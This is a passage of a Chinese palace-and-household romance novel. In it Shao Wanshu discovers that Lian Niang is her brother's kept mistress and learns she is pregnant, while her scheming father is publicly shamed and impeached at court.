裴行舟的目光看了过来,眼神深沉。 邵婉淑:“时辰不早了,睡吧。” 裴行舟的眉目这才舒展开,这一晚又折腾到很久。 邵婉淑真是后悔多嘴说了那半句话。 陆氏第二日又在邵侍郎的吩咐下进宫去了。 “娘娘,如今大皇子已经回京了,二皇子又去了皇陵,老爷让我来问问您接下来您有什么打算?” 贤贵妃斜靠在榻上,没什么精气神。 “大皇子都回来了,我还能有什么打算。” 皇上那日的话令她心里很不舒服,算是彻底绝了她的希望。当初她刚入宫,颇为受宠,皇后娘娘没少欺负她。即便皇后早就死了,她心里还是十分记恨她,不想看着大皇子登基,所以这些年处处给他使绊子。可大皇子那日在皇上面前选择相信阿祐,又让她心里很不得劲儿。若是大皇子污蔑阿祐,她还能有理由继续对付他。如今他这样,她哪还好意思动手。 陆氏心里一惊:“娘娘这是认命了吗?” 贤贵妃:“什么认命不认命,阿祐也没这个心思,我看还是算了吧,就这样吧。” 陆氏:“那咱们这些年的努力不是白费了吗?” 贤贵妃想到二皇子的结局:“也不算白费吧,至少没落得个二皇子一样的结局。” 陆氏:“可三皇子和二皇子不同,他有您这个母妃,还有做侍郎的舅舅,做侯夫人的表姐。” 贤贵妃想到了邵婉淑,道:“算了吧,婉淑也不是爱争抢的性子。咱们争不过大皇子的,别到最后跟二皇子那边的人一样,各个被贬。” 随着二皇子去了皇陵,那些跟着二皇子干了不少坏事的官员也一一被清算。这件事从年前发现韩忠直就着实调查了,等到开了朝才正式开始清算。 就连杜家这种参与不深的都多多少少受到了影响,被降爵了。爵位从侯爵到了伯爵,而杜侯也直接被免了官职,爵位落到了他发妻所生的长子头上。 陆氏还想再劝,但贤贵妃不是女儿,她不敢说太重的话。见贤贵妃始终没什么兴致,陆氏离开了皇宫。 回府后,陆氏跟丈夫说了入宫见贤贵妃的事情,邵侍郎快要气炸了。 他怎么就有这么蠢的妹妹和女儿!一个两个的长得十分美貌,也能笼住男人的心,可就是没什么志气,不懂得利用女子的优势! 他作为贵妃的亲兄长,皇子的亲舅舅,侯爷的岳父,可不甘心只做一个侍郎。 过了两日,陆氏又来见过邵婉淑,邵婉淑以身子不适为由没去见她。 她又入宫见了贤贵妃,贤贵妃虽然见了她,但却还是跟上次一样没什么兴致。 自从正月十六起,大皇子就正式站在了朝堂上。文武百官都看到了大皇子的变化,他不再像从前一样稚嫩了,处事冷静了许多,也老练了许多。原本有些迟疑的官员,渐渐地站在他这边。 邵侍郎自然是不甘心的,屡次集结三皇子这边的支持者给大皇子使绊子。 大皇子去调查户部的事情,他便从中作梗,提出来大皇子身为皇子不适合参与其中。大皇子调查兵部的事情,他又引经据典说大皇子行为不妥。见皇上依旧让大皇子去六部参事,他又提出让三皇子也入朝参与政事。这一次皇上倒是同意了。三皇子每日上午上朝,下午去御书房读书。 这半个月来,不知道是不是解决了心头大事,又或者裴行舟晚上太闹腾,邵婉淑每日都觉得十分困倦,总觉得睡不够似的。 这日,裴行舟休沐。 邵婉淑刚刚吃过早饭,就见裴行舟从前院回来了。 邵婉淑:“侯爷怎么回来了,您不是说今日要跟兵部的大人们议事吗?” 裴行舟:“嗯,还没去,方才得到了一个消息,我带夫人去见一个人。” 邵婉淑:“好啊。” 她最近身子不太舒服,已经好久没出门去应酬了,在府里待的有些厌倦了,也该出去转转了。 邵婉淑收拾了一番,和裴行舟一同坐上了马车。随着马车的晃动,邵婉淑又有些困了,忍不住打了个哈欠。 裴行舟看了邵婉淑一眼,她最近似乎十分疲惫。 “夫人可是身子不舒服?” 邵婉淑又打了个哈欠,斜睨了裴行舟一眼,道:“侯爷若是真的担心我,晚上就消停些吧。” 闻言,裴行舟轻咳一声,没再说话。 见裴行舟不答,邵婉淑又瞪了他一眼,靠在他身上休息。 没过多久,马车在一处茶楼处停了下来。裴行舟率先下了马车,站在下面扶着邵婉淑下了马车。随后,二人一同上了二楼,坐在了包厢中。 裴行舟打开了临街的窗户。 一阵暖风吹过来,邵婉淑觉得暖洋洋的,看着外面街上人来人往,心情十分舒畅,又有些困意,忍不住闭上了眼。 就在这时,身后的阿桔惊呼一声。 邵婉淑被吓到了,睁开了眼,看向阿桔:“怎么了?” 阿桔指了指刚从对面首饰铺子里出来的女子,邵婉淑顺着她手指的方向看了过去。 在看到那人的相貌时,双眼瞪大,立即站了起来。似是要确认一般,她快步朝着窗边走来。仔细看了看,终于确认了。 果然是她,她没有看错。 她竟然在京城中见到了莲娘! 原来莲娘是京城中人,怪不得没有西北那边的口音。 邵婉淑震惊过后,想到了阿桔不同寻常的反应,转头看向她:“阿桔,你认识她?” 难道莲娘早就是她身边熟悉的人?既如此,为何前世阿桔没有告诉她? 阿桔快速看了一眼裴行舟,有些迟疑。 邵婉淑脸色一沉,也看向了裴行舟。难道莲娘真的是裴行舟的外室?阿桔之前就发现了,没敢告诉她?不然她为何要用这样的眼神看裴行舟。 邵婉淑觉得胸口似乎被堵住了,有一口气上不来下不去。衣袖下,她双手握成了拳,忍住了发火的冲动。 见裴行舟要开口,邵婉淑没再看他,转过头,再次看向阿桔,厉声道:“回答我的问题!” 阿桔见夫人的脸色不对,她又看了裴行舟一眼,支支吾吾道:“这是……这是亭宸少爷的外室。” 这毕竟是邵家的家丑,不好让侯爷听到的,所以她刚刚不想当着裴行舟的面说。 邵婉淑一时没回过神来。 她不应该是裴行舟的外室么,怎么又变成了别人的外室? 等一下,阿桔刚刚说的是谁来着? “你刚刚说,她是……是……是谁的外室?” 阿桔:“亭宸少爷。” 听清楚之后,邵婉淑身子晃了晃。 裴行舟心里一紧,连忙上前扶住了邵婉淑。 邵婉淑已经感受不到周遭任何的变化了。 阿桔说莲娘是亭宸的外室?竟然是亭宸的外室?! “她怎么能是亭宸的外室呢?怎么能是亭宸的外室呢?为什么……” 这个消息在邵婉淑脑海中来来回回盘旋了无数次,都无法消化。 裴行舟:“夫人,别想了。” 邵婉淑喃喃说着什么,不住摇头,无法接受这件事。 眼泪先一步从眼角滑落。 莲娘是亭宸的外室,她肚子里的孩子就是亭宸的。怪不得父亲前世要联合裴家族中人逼她认下莲娘肚子里的孩子,她原以为父亲是过于尊崇礼教才会如此,原来他打的这个主意。他逼她去死也不是为了保全邵家的名声,而是想让邵亭宸的孩子夺了裴行舟的爵位。为了这个爵位,他们利用礼教,光明正大逼她去死。 原来父亲不是个迂腐至极的人,他是一个彻头彻尾的恶人,也是个狠人! 父亲知道这件事,母亲也知道这件事,亭宸也知道这件事……所有人都知道,所有人都逼她去死。 眼泪越流越多,邵婉淑听不清周遭任何话了,泪眼婆娑中,她看向了裴行舟,她看到了裴行舟紧张的模样,张了张口想说些什么,眼前一黑,晕了过去。 裴行舟脸色骤变,抬手将邵婉淑抱了起来,朝着外面走去。 他错了。 在找到这个人时,他不确定她是不是夫人认识的那个人,所以想让夫人来辨认一下。他没有料到这件事对夫人的打击这么大。 想想夫人说的梦中之事,他明白了她的难过。 邵家这是打算用莲娘肚子里的孩子抢夺裴家的爵位,一计不成,便要以礼教逼死夫人。 他们怎么敢! 裴行舟走到外面街上时,看着正准备上马车的莲娘,冷着脸道:“给我敲锣打鼓地把莲娘扔到邵家去,务必让京城所有人都知道这件事。” 邵家不是最重礼教,最看重名声么,他偏偏要把他们的名声踩在脚底下! 寅虎:“是。” 第 65 章 邵婉淑怀孕。 裴行舟没有上马车离开, 他抱着邵婉淑去了附近最近的一家医馆。 医馆的郎中看着眼前的阵仗被吓到了,瞧着这些人的穿着打扮也知不是寻常人,他连忙为邵婉淑诊脉, 诊完之后松了一口气。 还好不是不治之症,不然不知道面前这些人会做出来什么事。 裴行舟一直紧盯着郎中的神情, 见他松了气, 问:“夫人如何了?” 郎中看着裴行舟的脸色,吓了一跳,生怕自己说错了。 “我再看看。” 于是郎中又为邵婉淑把了把脉。 裴行舟脸色沉了下来。 再次把完脉,郎中终于可以确定了。 “恭喜公子。” 裴行舟看着脸色难看, 一直没醒过来的邵婉淑,目光凌厉:“喜从何来?” 郎中背后一凉, 忙道:“尊夫人有了身孕。最近过于劳累, 又急火攻心才会晕倒。尊夫人身子底子好,回去之后好好休养便是,您不必担忧。” 裴行舟愣住了。 有了……身孕? “你确定?” 郎中见危机解除,笑着说:“确定,我方才把了好几次脉,都是喜脉。” 裴行舟应该开心的, 可看着仍旧昏迷不醒的人,还是很担心。 “你确定夫人身子无碍?” 郎中:“确定。” 裴行舟又问了几遍, 确认邵婉淑身子无碍, 这才离开医馆。 郎中看着眼前的一块银子, 笑得合不拢嘴。 出了医馆,裴行舟吩咐青云:“去请太医。” 青云:“是。” 直到太医把完脉说邵婉淑身子无碍,裴行舟这才放心了。 邵婉淑一觉睡了半个时辰才醒,醒来后, 看着身边的裴行舟,想到了莲娘的事情,眼泪又流了下来。 裴行舟连忙为她擦拭眼泪。 “夫人,你有身孕了,不能哭太久。” 邵婉淑的眼泪顿时就停了下来。 “身孕?” 裴行舟:“嗯。夫人不是一直想生个孩子么,孩子来了。太医说夫人已经有两个月的身孕了。” 邵婉淑被转移了注意力,手放在了肚子上。 这里竟然已经有了个孩子。 她想了那么久的事情终于实现了,她忍不住又摸了摸肚子,一股难言的欣喜在心底蔓延开来。她终于有了孩子,她要做母亲了。 见邵婉淑开心,裴行舟也忍不住笑了。 邵婉淑喜悦维持了不到片刻,又紧张地问道:“我刚刚晕倒可对孩子有碍?” 裴行舟:“无碍,太医说过了,夫人身子好,接下来好好休养便是。” 邵婉淑松了一口气。 裴行舟握紧了她的手,道:“抱歉,今日的事情是我处理得不太妥当。” 邵婉淑意识到裴行舟说的是什么,问:“侯爷今日要带我去见的人就是莲娘吗?” 裴行舟点头:“对。这些日子青云查了许多人,京城叫莲娘的人很多。后来得知她是邵亭宸的外室,我便有些怀疑是这个人,今日我想带着夫人去确认一下,没想到竟然害夫人晕倒了。” 邵婉淑:“此事和侯爷无关,侯爷不必自责,要怪也是怪邵家。” 说起此事,邵婉淑的心情有些复杂。在得知她不是裴行舟外室的消息时,她是开心的。可在知道她其实是邵亭宸的外室时,巨大的愤怒又朝着她席卷而来。 前世的一切,竟然都是一场骗局。 裴行舟握了握邵婉淑的手,道:“我知道夫人心里的委屈,莲娘的事情我一定会为夫人处理好的。你好好养身子,放心交给我便是。” 邵婉淑看向裴行舟。既然裴行舟已经猜到了她借着梦把前世的事情说出来,便也知晓了莲娘前世做过的事情。邵家和莲娘试图逼着她认下莲娘肚子里的孩子,占了侯府的爵位,他定不会饶了他们。邵家人都烂透了,提起他们她就觉得恶心,她已经不想再处理这些事情了。 “好,多谢侯爷。” 裴行舟离开后,阿梨和阿桔从外面进来了。 阿梨:“夫人,您身子如何?还难受吗?” 邵婉淑:“我没事。对了,我晕倒后发生了什么?” 阿梨:“侯爷特别害怕,抱着您去了医馆,后来又把太医叫来了,直到太医说了您没事侯爷才放心了。” 听到这番话,邵婉淑心里一暖。邵家人虽然心冷,裴行舟对她还是极好的。 阿桔:“侯爷让寅虎把莲娘送去邵家了,如今整个京城都知道亭宸少爷有个外室。” 邵婉淑不解:“为何都知道了?” 阿桔:“侯爷让寅虎敲锣打鼓送过去的。寅虎一边走一边跟路上的人说莲娘是亭宸少爷的外室,路上全是围观的人。” 邵婉淑怔了一下,想到那个画面,噗嗤一声笑了起来。 阿梨本来有些担忧夫人会多想,见夫人笑了,她算是放心了。 阿桔:“亭宸少爷之前还指责夫人,一点都不为夫人考虑,他真是活该,看他以后还如何能得意起来。” 邵婉淑想了想,让阿桔去给辛卿卿传个信。 “你跟卿卿说,让她跟辛御史说一声,千万别看在我的面子上不去参邵家。” 裴行舟把邵亭宸有了外室的事情弄的京城人尽皆知,御史们明日上朝定要参邵家一本的。上次杜御史被参倒她可是出了不少力,辛御史十分感激她,她真的担心辛御史会因为她不去参邵家。她要跟邵家划清界限。 阿桔:“好,奴婢这就去。” 邵婉淑的担忧并非是多余的,辛御史在得知此事时还真的犹豫了。他最恨伪君子,早就看不惯邵侍郎那道貌岸然的样子了,但又碍于邵婉淑的面子没想好要不要参他。 就在这时,妹妹来了信,信很短,只有几个字:“明日狠狠参邵家!” 这下辛御史放心了。 邵家这次是真的丢脸了。 邵侍郎和陆氏之前并不知自己儿子有个外室,今日方知此事。 寅虎:“邵大人,我们侯爷见这位姑娘在外孤苦无依,特意让我送过来,您不必感谢我。” 邵侍郎气得脸色铁青,他感谢他?谢他什么,谢他把自家的丑事弄得人尽皆知吗,谢他把邵家的脸面狠狠踩在了脚下吗? 他虽然气儿子竟然在婚前弄了个外室,更气裴行舟将此事抖落出来,丝毫不给他这个岳父面子。 邵家出了这样的丑事,邵侍郎明显很不高兴,寅虎本该将人送来就走的,可他偏偏不走,他侧头看向了站在一旁的莲娘,给她介绍:“这位是邵侍郎,这位是陆氏,这两位是邵公子的父亲和母亲,你既是邵公子的人,以后可要好好伺候长辈。” 莲娘虽然一路上都被人围观了,但她并未觉得有多么丢人,相反,她开心极了。邵亭宸口口声声说喜欢她,却一直不带着她回家,将她藏在外面,让她不见光。今日她终于过了明路,可以光明正大做邵亭宸的人了,以后她的孩子也将会上邵家的族谱。 “老爷,夫人。” 陆氏快被气死了。之前她让儿子去相看姑娘,儿子死活不愿意。她还以为儿子是为了科考,如今方知是因为这个外室。今日闹了这么一出,儿子不可能再娶门当户对的姑娘了。 看着莲娘狐媚子的样子,她气不打一处来,上前狠狠扇了她一个巴掌。 “你个小贱人,给我住嘴!” 莲娘捂着被打红的脸,泪眼婆娑。 “母亲,您在干什么!”身后一声怒吼。 寅虎见该来的都来了,往旁边侧了侧。 邵亭宸上前把莲娘护在了怀中,莲娘眼眶里的眼泪瞬间就落下了。 “公子……” 邵亭宸看着莲娘脸上的巴掌印,心疼坏了。 “你没事吧?” 莲娘摇了摇头:“我没事,夫人下手轻,打得不疼,你别动怒。” 见她如此,邵亭宸更加心疼了。明明脸都肿起来了,还劝他不要生母亲的气。 “母亲!” 陆氏:“亭宸,你怎么能被这么个狐媚子给迷住了,你的前途还要不要了?” 邵亭宸:“母亲,科考我自会尽力的,我一定能中状元,这跟莲娘毫无关系,她不会影响到我的。相反,想到莲娘,儿子科考会更加用心。” 陆氏见儿子这么护着莲娘,快要气晕过去了。 邵侍郎一开始并没有说什么,此刻看着儿子蠢而不自知的模样,再也忍不住,狠狠打了他一巴掌。 邵亭宸被打得踉跄了几步,却不敢说什么。他敢跟陆氏争辩,却不敢跟邵侍郎争辩。 “你太令为父失望了。” 邵亭宸跪在地上不敢说话。 莲娘见情形不对,不敢再装柔弱,老老实实跪在了邵亭宸一旁。 邵侍郎正欲说什么,眼角瞥到了还在看戏的寅虎。 “这位大人,今日劳烦侯爷将人送过来了,我们邵家要处理家事了,还请离开。” 寅虎戏看得差不多了,笑着告辞。 回府后,寅虎把在邵家看到的事情一五一十都跟阿桔说了。 阿桔去内宅跟邵婉淑说了。 邵婉淑想到前世裴行舟死后莲娘大着肚子来定南侯府的情形,跟今日何其相似,不过,这一次这件事跟她没有任何关系了。 晚上,裴行舟忙完之后早早回了内宅中。 “夫人身子可有不舒服?” 邵婉淑:“没有,我下午又睡了一觉,身子挺好的。” 裴行舟:“吃饭时可有恶心想吐?” 邵婉淑:“还好,稍微有一点,不过并不严重。” 裴行舟又问了几个问题,见邵婉淑神色尚可,便没再多言。 邵婉淑倒是有些好奇了:“侯爷问过太医了?” 裴行舟:“嗯,早上随口问了几句。” 邵婉淑:“哦。” 晚上,裴行舟将邵婉淑揽入了怀中。看着怀中沉睡的人,想到今日发生的事情,他突然有一种失而复得的欣喜,轻轻吻了吻邵婉淑的额头。 等到第二日上朝时,邵侍郎朝着裴行舟走去。 “侯爷,你昨日的事情做得太不地道了吧?不知我何处得罪了你,你要这么对付邵家?你莫要忘了,你是我的女婿。作为晚辈,你这般做太不符合礼仪规矩了。” 邵侍郎脸色难看至极,那些面子,那些规矩礼仪似乎都被他抛之脑后了。 裴行舟:“贵公子养外室就符合礼仪规矩了?希望邵侍郎莫要厚此薄彼,从前如何要求女儿的,现在也用同样的标准要求你的儿子。” 邵侍郎怔了一下,原来是他那个不孝女儿在裴行舟面前说了不该说的,他可真是养了一个白眼狼!本来他还打算以后不理会这个女儿了,看来是要给她一个教训了。 “这是我的家事,就不劳烦侯爷费心了。以后还请侯爷管好自己家的事就行,莫要插手旁人的家事。” 裴行舟懒得理会邵侍郎,朝着前面走去。他听说今日有许多御史等着参他,有他头疼的。 等上了朝,御史果然开始参邵侍郎治家不严,教子无方。 不仅大皇子那边的人参他,一些中立的官员也在参他,只有极少数的人没有参他。 邵侍郎心里真的开始慌了。从前他们这边做过更严重的事,也只有几个人参他们。这次不过是儿子养了外室,朝堂上竟然一边倒地攻击他。 这并非是儿子犯的错有多大,而是……三皇子这边的支持者越来越少了。 慌乱中,他抬头看向了最前方,大皇子正负手而立,冷冷看着他。而他的外甥三皇子,此刻正站在大皇子身边,一脸不赞同地看向他,丝毫没有为儿子辩解的意思。 这一刻,邵侍郎有些心灰意冷了。 人在做一件事时最怕的不是缓慢前进,而是一直倒退。妹妹不帮他,女儿不理解他,就连三皇子自己也不想成为储君,全都在扯他的后腿。 整个世界只有他一个人在努力,他不知自己在努力什么。 朝堂上所有人都在口吐唾沫指责他,骂他,嘲笑他。 他似乎活成了一个笑话。 最终,邵侍郎被罚俸,邵亭宸被训斥。 陆氏又入宫来找贤贵妃哭诉了,看着陆氏伤心的样子,贤贵妃叹了叹气。 “多大点事,哭什么哭?” 陆氏顿时不敢再大声哭了。 贤贵妃:“说起来这也不是什么大事,顶多是私德不修,你回头跟亭宸说一声,收一收心,好好读书,过一个月中了状元,便什么都有了。” 陆氏:“可他还没成亲就有了外室,还如何能说一门好亲事?” 贤贵妃:“这有什么?男子多半婚前都有通房侍妾,他这个外室只要是个老实的,别提前有了身孕,一切都还好说。” 陆氏:“老爷是说过让他打发了这个外室,可他死活不肯……” 贤贵妃皱了皱眉。 “你再好好劝劝,让他收收心,可别被这个外室耽误了,她若真有了身孕可就麻烦了。” 陆氏怔了一下,也开始担心起来。 最后,贤贵妃说道:“你跟兄长说一声,最近消停些吧,皇上知道他的小动作,只是碍于三皇子的面子还没收拾他,他若继续下去,可就保不住礼部侍郎的位置了。” 陆氏大惊:“怎么会呢,您可是贵妃娘娘。” 贤贵妃:“我可能永远都是贵妃,但兄长却未必一直是礼部侍郎。” 陆氏愣了一下,想到老爷的交待,她有些迟疑。 贤贵妃:“还有什么事?” 陆氏抿了抿唇,道:“老爷的意思是定南侯府后宅太空了,想让二丫头去帮一帮婉淑。” 听完陆氏的话,贤贵妃一怔,斥道:“想都别想!你也是做人母亲的,怎么能同意这种馊主意?婉淑才是你亲生的!” 陆氏被骂了一顿,脸色不好看:“我自然不愿意的,可老爷说亭宸的事情就是婉淑闹出来的,她最近太不懂事了,怕她再做出来跟多损害邵家的事情,想安排人去盯着她。” 贤贵妃:“定南侯这事儿虽然做的不地道,可归根结底还是亭宸自己私德不修,跟婉淑有什么关系?我警告你,谁要是敢往婉淑身边放人,我第一个不放过他。” 陆氏瑟缩了一下身子,离开了。 陆氏走后,贤贵妃叹了叹气。 百合劝道:“娘娘,您也不用太担心了,亭宸少爷学识渊博,定能中状元的。” 贤贵妃:“我瞧着也未必。从前觉得他是个好的,眼下瞧着也未必是个老实的,那外室估计也是个不安分的,要不然怎么可能在大街上乱逛,还被定南侯瞧见了。” 百合:“打发了便是。” 贤贵妃:“未必能轻易打发了。不说她了,你去库房拿些上等的补品,给侯夫人送去。” 邵婉淑有了身孕的事情并未对外说,但贤贵妃执掌后宫,太医回来后她便让人把他叫了过来,得知了这个好消息。所以在得知陆氏想给裴行舟身边送人时这么生气。 百合:“是。”—— 作者有话说:邵侍郎的结局还没完。 第 66 章 邵亭宸的反抗。 邵家见贤贵妃这边行不通, 又过来找邵婉淑了。 邵婉淑自然不会见他们,她没去骂上几句,踩上两脚就已经是她的仁慈了。 邵家人没少在家里骂邵婉淑。 前几日邵侍郎在气头上, 觉得自己做了冲动的事情,如今冷静下来想了想, 这件事其实也不算是什么大事。只要妹妹一直是贵妃, 只要三皇子还是皇上最宠爱的皇子,他们邵家就还有希望。 至于儿子的名声,那就更好办了。骂上就要科考了,只要儿子中了状元, 不愁没有高门贵女嫁过来。有外室什么的,顶多说儿子风流, 年少不懂事, 不是什么大问题。 因此,当务之急还是让儿子沉下心来去科考。 邵侍郎:“以后你就不要再见莲娘了,好好读书。” 邵亭宸:“父亲,您要对莲娘做什么?她是个可怜人!” 邵侍郎见儿子还在执迷不悟,一巴掌扇了过去。 “她可怜?她若真的可怜就不会日日缠着你了,也不会跟定南侯府的人来到咱们家!你有这个闲工夫还是可怜可怜你自己吧, 若你中不了状元,你这辈子就毁了!莫要因为一个女人毁了自己的大好前程!” 邵亭宸:“父亲, 莲娘不会毁了我的。她早就跟着我了, 可我不还是中了解元吗?所以她不会影响我, 您就让莲娘跟着我吧。” 邵侍郎看着往日乖巧的儿子此刻变成这个样子,顿时大怒。 “你想都别想!我原本还想着等你科考完再让你们见面,如今看来,她对你比我想象中还要重要, 我明日就把她撵出京城去!” 邵亭宸顿时慌了:“父亲,我求求您了,就放过莲娘吧。” 邵侍郎狠了心,道:“绝无可能,你再去祠堂给我跪上三日!” 前几日他就罚儿子去跪祠堂了,本以为儿子已经冷静下来了,没想到他竟然还是这般执迷不悟。 邵亭宸被人押着去了祠堂。 邵侍郎看向陆氏:“明日找人把那个莲娘给我卖出京城去。” 陆氏也看出来儿子被莲娘迷得已经失了智,自然也不想放过莲娘,当下便答应了。 第二日一早,陆氏被身边的婢女香竹吵醒了。 “夫人,不好了,莲娘不见了。” 陆氏大惊:“你说什么?她怎么会不见?不是让人将她关起来看着吗?” 香竹:“听看守的婆子说是公子把她打晕,将莲娘带走了。” 前院看守祠堂的也来报,一大早婆子去送饭,结果发现邵亭宸不见了。 陆氏险些气得晕过去。 她赶紧让人去找儿子,儿子还不敢大张旗鼓地去找,生怕京城的贵人们得知了此事。不仅儿子的婚事没了着落,前程也要被毁。 陆氏找了一整日也没找到儿子的踪影,邵侍郎回府后听说了这件事大发雷霆。 “你生的好儿子!” 陆氏低声哭泣着。她哪里能想到听话懂事的儿子能做出来这样的事情,所以并没有严防死守。如今除了哭,她也不知道该怎么办了。 “老爷,还是得先找到儿子才是。” 邵侍郎:“这话还用你说?但我最近被御史盯得紧,身边抽不出来人手,还是你安排家里的下人去找。但切记,一定不能声张,不能安排太多人。” 陆氏:“京城这么大,不能安排人手的话何时才能找到?” 邵侍郎:“就算晚一些找到,也不能声张。若真的被人发现了,御史定要参上一本,那才是真的完了。” 陆氏有别的担忧:“亭宸会不会已经带着那个贱人跑出京城了?” 邵侍郎沉思许久,道:“应该不会,他马上就要科考了,他应当不会放弃自己的前程。” 陆氏松了一口气。 陆氏和邵侍郎既想找到儿子,又不敢让人知道儿子打晕了下人把外室带走私奔了,邵家每日阴云密布。 邵婉淑每日在府中养胎,无聊得很,她早就听说邵亭宸带着莲娘跑了。 这可真是一出大戏啊,这戏还没唱完。 晚上,裴行舟回来后,邵婉淑问道:“侯爷可知邵亭宸和莲娘去了哪里?” 裴行舟:“知道。” 自从邵婉淑有了身孕后,裴行舟担心邵家那边会来找麻烦,所以一直让人盯着邵家人的动向。他早就在第一时间知道邵亭宸带着莲娘跑了,也知道他们住在哪里。 邵婉淑:“等一下,你先别说,让我猜一猜。” 裴行舟握住了邵婉淑的手:“好。” 邵婉淑:“他们是不是还在京城?” 裴行舟:“夫人为何这样想?” 邵婉淑:“邵亭宸一直养在京城,被父亲和母亲照顾得极好,他生活不能自理,也不敢出京。而且,他是父亲的儿子,父亲从小就将他待在身边教育他,他舍不得自己的前程的。再者,莲娘也不会愿意跟着邵亭宸受苦。” 裴行舟笑了,抬起邵婉淑的手放在唇边亲了亲:“夫人猜对了,他俩如今就住在京城。” 邵婉淑:“我没洗手。” 裴行舟一副不在意的模样,又亲了一下。 邵婉淑笑了。 裴行舟:“需要把他们二人的住处告诉侍郎府吗?” 邵婉淑想了想,道:“不用。” 裴行舟:“全听夫人的。” 邵婉淑:“父亲和母亲现在一定急得不行,想去找邵亭宸,又怕被旁人知道。我若告诉了他们,他们不就不用着急了?就让他们急一急吧。” 裴行舟:“夫人说得对。” 邵婉淑摸了摸肚子:“给他们找些事做也挺好的,免得他们闲下来又来找我的麻烦。” 裴行舟看向邵婉淑,认真地道:“我不会让这样的事情发生的。” 看着裴行舟眼里的郑重,邵婉淑心里暖暖的,她抬手圈住裴行舟的脖子,亲了一下他的唇。 虽然只是轻轻亲了一下,但在裴行舟眼里却完全不同。她很少会主动亲他,尤其是在床以外的地方。 裴行舟的眼神瞬间就变了。 邵婉淑也意识到自己做了什么事,眼神有些闪躲,她也不知道自己刚刚怎么突然就想亲裴行舟了,不仅想亲,还立即就去做了。这样的事情在从前时绝对不可能发生的。 这么好的机会裴行舟怎么可能会放弃呢,他抬手扶住了邵婉淑的脖子,让她仰头看向他,随即炙热的吻落了下来。 邵婉淑的亲吻更像是蜻蜓点水,裴行舟的吻却像是要把对方融入自己的身体里。 邵婉淑被亲得快要喘不上来气。 她真的有点后悔主动招惹了裴行舟,裴行舟这个人看似极有定力,实则定力不强。她不去招惹他他都会主动做些事,她一招惹,他更是没完没了。 裴行舟亲了许久才放过了邵婉淑,将邵婉淑抱在了怀中,头埋在了她的脖颈里缓了缓。 他已经素了好些日子了。自从那日邵婉淑晕倒后,他就素着了,什么都没做。他能察觉到邵婉淑最近对他的态度发生了转变,心里似乎没那么多防备了,主动了些,也热情了些。 可偏偏她如今有了身孕,他什么都做不了。 “哎。”裴行舟长叹一声。 邵婉淑:“侯爷叹什么气?” 便宜都让他占了,他还叹起气来。 裴行舟:“孩子来的不是时候。” 邵婉淑愣了一下,察觉到裴行舟的身体反应,明白了他的意思,瞬间就脸红了,抬手捶了他几下。 “那还不是怪你。” 裴行舟紧紧地将邵婉淑抱在了怀中:“嗯,怪我。” 第二日一早,阿桔来报:“夫人,大姑娘过来了。” 邵婉淑:“嗯,让她进来吧。” 自从邵婉淑怀孕后,裴温静主动管家,邵婉淑让人在旁边观察过,她的确没藏私,也没耍什么手段。管家的事她自然可以让阿梨他们去办,但对外的事情还是需要一个主人,府里能主事的只剩下裴明英和裴温静了。裴明英是嫡女,她更合适,但她丝毫没有要帮忙的意思,每日都打扮得漂漂亮亮地出门。裴温静愿意帮忙,她也乐意给她机会。 阿桔:“二姑娘又打扮得漂漂亮亮地出门了。” 姜老夫人他们刚走的那段时间,裴明英日日来她这边闹,想跟她吵,她听了一回就让人把她撵走了,后来也不再见她。 裴明英又去找了裴行舟,裴行舟把她骂了一顿。 又过了一些时日,她自己似乎想通了,不再来找她了,反倒是经常出去应酬。 只要她不给邵婉淑找麻烦,邵婉淑也懒得搭理她。 邵婉淑:“不用理她,安排人盯着她,别出了事就行。” 阿桔:“是。” 从邵亭宸养了外室这件事中,贤贵妃彻底看清了形势。 大皇子权势渐盛,而他们这边没多少支持者了,还有许多不怀好意的人。她越发觉得皇上做的这一切都是在为大皇子铺路,不管是一直蹦跶的二皇子,还是挡在前面的阿祐,都是皇上的算计。 这天晚上贤贵妃终于还是没忍住,把心中的疑惑问了出来。 “皇上,您从前可是故意宠爱阿祐的?” 闻言,隆帝愣了一下。 “贵妃这是何意?” 贤贵妃板着脸说道:“您最中意的一直都是大皇子,宠爱阿祐也是故意将他竖成了靶子,目的就是为了磨练大皇子。” 听完这番话,隆帝忍不住抬手敲了一下贤贵妃的额头。 贤贵妃吃痛,抬手捂住了。 隆帝:“你这脑袋瓜在想什么?最近对朕爱答不理的就是为了这事儿?” 贤贵妃没说话,默认了。自从二皇子被罚去守皇陵,她便开始怀疑枕边人了。这些日子越琢磨越觉得枕边人可怕。她知道身为宫妃不能对皇上如此不敬,可她还是做不到像从前一样。 隆帝要被气笑了:“朕疼爱阿祐是因为他是你生的。从他在你肚子里起,朕就时常来看他,朕一点一点看着他长大,知晓他所有事情,了解他的性子。朕对别的皇子可从未如此,即便是大皇子朕也没这般待过他。他是朕看着长大的,对他自然和对别的皇子不同。” 贤贵妃抿了抿唇,有些委屈地道:“可您还是更中意大皇子。” 隆帝:“这两者不同。身为父亲,朕更喜欢阿祐。可作为君主,朕要为天下百姓,江山社稷着想。阿祐小时候朕就看出来了,他同你一样,性子过于单纯,不适合当君主。老大的性子更适合一些。” 贤贵妃沉默片刻,道:“大皇子是皇后的儿子,我从前也没少对付他,他若当了储君,我和阿祐可就惨了。” 隆帝:“你放心,朕不会允许这样的事情发生的。老大和皇后的性子不同,两年前朕让他去边关,就是为了让他吃一吃苦,让他跟边关的将士生活在一起,磨一磨他的性子。朕当初没有同意邵家和邹家的亲事,而是同意了邵家和裴家的亲事就是为了你和阿祐着想。朕还打算将来让阿祐娶镇国将军或者兵部尚书的女儿,这两个人都是老大的人,这样老大就更不可能对付阿祐了。” 见隆帝早已为儿子和她打算好了,贤贵妃眼眶红了。 “臣妾当初还误会了皇上的意思,想让婉淑去拉拢定南侯,差点就做错事了。” 隆帝抬手将贤贵妃揽入怀中:“做错事也没关系,朕都为你兜着。” 贤贵妃扑在隆帝怀中哭了起来。哭着哭着,想到一事,又道:“将来阿祐想娶谁还是问问他自己的意思吧。” 隆帝:“好,都听你的。” 接下来的日子裴行舟每日都回来得很早。 除非有些公务必须要在外院处理,又或者要见客人,否则裴行舟都把公务拿回了内宅。邵婉淑困了就去里间睡,裴行舟在外间办公。 因为知道裴行舟在外面,所以即便是一个人睡邵婉淑也觉得十分安心。 一个月后,邵婉淑胎坐稳了才对外宣布了怀孕的消息。 得知女儿怀孕,邵家本应该高兴的,可邵侍郎却气得发了脾气。裴行舟摆明了要跟他对着干,女儿非但不帮娘家,还偷偷跟裴行舟生起孩子了,她这心也太大了! 可惜,他的怒火邵婉淑是一点都看不到。 